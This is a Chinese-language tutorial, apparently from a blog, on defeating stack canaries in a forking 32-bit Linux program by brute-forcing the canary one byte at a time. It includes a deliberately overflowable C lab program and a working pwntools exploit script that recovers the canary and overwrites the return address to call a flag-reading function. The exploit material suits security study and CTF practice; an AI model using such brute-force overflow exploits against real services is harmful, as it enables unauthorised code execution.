• 通过fork进程爆破canary


    1.1.1    通过fork进程爆破canary

    ⑴.原理分析:

    对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

    另外有一点就是canary的最低位是0x00,这么做为了防止canary的值泄漏。比如在canary上面是一个字符串,正常来说字符串后面有0截断,如果我们恶意写满字符串空间,而程序后面又把字符串打印出来了,那个由于没有0截断canary的值也被顺带打印出来了。设计canary的人正是考虑到了这一点,就让canary的最低位恒为零,这样就不存在上面截不截断的问题了。

    ⑵.环境准备:

     i.存在格式化字符串漏洞的程序:

    #include <stdio.h>

    #include <unistd.h>

    #include <stdlib.h>

    #include <sys/wait.h>

    void getflag(void) {

        char flag[100];

        FILE *fp = fopen("./flag", "r");

        if (fp == NULL) {

            puts("get flag error");

                  exit(0);

        }  

        fgets(flag, 100, fp);

        puts(flag);

    }

    void init() {

        setbuf(stdin, NULL);

        setbuf(stdout, NULL);

        setbuf(stderr, NULL);

    }

    void fun(void) {

        char buffer[100];

        read(STDIN_FILENO, buffer, 120);

    }

    int main(void) {

        init();

         pid_t pid;

         while(1) {

                  pid = fork();

                  if(pid < 0) {

                           puts("fork error");

                           exit(0);

                  }

                  else if(pid == 0) {

                           puts("welcome");

                           fun();

                           puts("recv sucess");

                  }

                  else {

                           wait(0);

                  }

         }

    }

     

    ii.测试环境:

    测试平台linux debian 7

    攻击脚本编写模块:pwntools。

    辅助调试插件:gdb-peda

    iii. 编译命令:

    gcc -m32 -q -z execstack -fstack-protector-all -o fork_canary fork_canary.c

                      

    ⑶.调试分析:

    i. 查看保护机制:

                      

    可以看到只开启了canary保护机制。

                      

    ii.找到存在缓冲区溢出漏洞的函数的canary值地址:

                      

    Canary位于:[ebp-0xc]=0xffffd28c。

                      

    iii. 找到缓冲区起始地址:

           

    缓冲区起始地址:0xffffd228。

    iv.确定返回地址:

     

    Ret address = 0xffffd29c

    ⑷.攻击过程:

    i.攻击思路:因为canary的值的第一个字节总是0x00,所以只需要爆破剩下的三个字节就可以了,每次尝试一个字节,如果程序顺利执行得到结果“welcome ”,否则程序崩溃,通过穷举就能爆破处正确的canary值。

    ii.得到getflag函数的地址:

     

    iii.计算缓冲区大小:

    由上面的调试分析可知:

    缓冲区大小等于缓冲区结束的地址0xffffd28c - 0xffffd228 = 100(字节)。

    iv.编写攻击脚本:

    from pwn import *

    context.log_level = 'debug'

    cn = process('./fork_canary')

    cn.recvuntil('welcome ')

    canary = 'x00'

    for j in range(3):

        for i in range(0x100):

            cn.send('a'*100 + canary + chr(i))

            a = cn.recvuntil('welcome ')

            if 'recv' in a:

                canary += chr(i)

                break

    cn.sendline('a'*100 + canary + 'a'*12 + p32(0x5655573d))

    flag = cn.recv()

    cn.close()

    log.success('flag is:' + flag)

    运行攻击脚本:

     

    成功爆破。

  • 相关阅读:
    AMD64 Instruction-Level Debugging With dbx
    Solaris 10上安装Oracle 11g
    Dave-oracle
    SSD 下的 MySQL IO 优化
    vmware 网络工作方式
    PLSQL Developer 配置Oralce11g连接 转
    LINUX下的21个特殊符号 转
    linux 内核调试相关资料
    mysql 源代码编绎
    Windows Performance Toolkit
  • 原文地址:https://www.cnblogs.com/zhang293/p/9116692.html
Copyright © 2020-2023  润新知